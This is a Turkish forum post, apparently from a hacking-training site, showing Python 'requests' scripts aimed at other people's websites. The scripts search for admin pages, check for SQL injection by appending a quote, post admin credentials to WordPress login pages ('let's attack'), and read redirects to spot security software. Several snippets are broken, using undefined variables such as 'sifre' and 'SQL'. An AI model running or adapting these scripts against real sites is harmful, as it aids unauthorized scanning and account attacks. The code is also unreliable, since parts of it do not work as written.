Her şey, Herkese...

Daha fazlasına sahip olabilecek iken neden daha azını seçesiniz ki. Extra Akademi ile daha fazlasını almak için yolunu bul.

Kullanıcı avatarı
By capitan
#46
Requests modülü ile bir siteden veri çekebilir ya da o siteye veri yollayabiliriz. Ama bunu neden yaparız. Örneklerle neler yapılacağını anlatacağım. Admin panel ya da upload sayfası bulmak istediğimizde bu tarz bi kod çalıştırabiliriz.
Kod: Tümünü seç
 import requests url = raw_input("enter url") url_tag = url + "admin.php" r = requests.get(url_tag) if r.status_code == 200: print "site has been found!" else: print "couldn't forund" 
Url girdisi alıp sonuna dorku ekledik ve r değişkenini siteye bağladık. r.status code diyerek bağlantı kodunu sorguladık(200ok). Şimdi de sonuna tek tırnak koyalım ve basit düzeyde bir sql açığı taraması yapalım.
Kod: Tümünü seç
 import requests url = raw_input("enter sqli url: ") url_tag = url + "'" r = requests.get(url_tag) if r.status_code == 200 and SQL in r.text: print "SQL [+]" else: print "sql[-]" 
İkincisinden farklı olarak site içindeki text te sql yazısını arattık. Tek tırnaktan sonra sql ile ilgili hata mesajı çıkarsa bize çıktı döndürecek. Eğer siteleri listeden çekiyorsanız ve site açılmıyorsa programınız duracaktır. Çünkü yanıt alana kadar bekleyecek r değerini tanımlamaya çalışacak.bu durumda "timeout" kullanabiliriz.
Kod: Tümünü seç
 payload = {'log': username, 'pwd': sifre} 
Bu payload wordpress sitelere giriş yapmanızı sağlıyo. Şimdi saldırı yapalım ve timeout kullanarak site alive değilse işlemi durduralım.
Kod: Tümünü seç
 import requests url=raw_input("enter url : ") url_tag = url + "wp-login.php" username = "admin" pwn = "password" payload = {'log': username, 'pwd': sifre} r=requests.post(url_tag, data=payload, timeout=5) 
Bu şekilde payloadımızı post ettik. Eğer beş saniye içinde işlem gerçekleşmezse script kapanır. Son olarak hedef sistemdeki güvenlik yazılımlarının tespitine bakalım. Siteden 200ok onay kodu aldınız diyelim. Ama 200 almadan önce bi kez 302 bir kez de 400 almış olabilirsiniz. Güvenlik yazılımı sizi geciktirmiş olabilir. Şimdi kaç paket geldiğine bakalım.
Kod: Tümünü seç
 import requests url= "google.com" r = requests.get(url) r.history r.elapsed.total_seconds() 
Google direk 200 vericek muhtemelen.
Kod: Tümünü seç
 [<Response [302]>, <Response [302]>, <Response [302]>] 
Burdaki kısım ile de bağlantının kurulma süresini öğrenebilirsiniz. [r.elapsed.total_seconds()] Bağlantının kurulması süresini ve gelen paketleri yorumlayarak sitenin güvenliği hakkında bilgi edinebilirsiz.

    Sen de 1 Miyon Yazılımcı Arasında Yerini Almak İster misin ?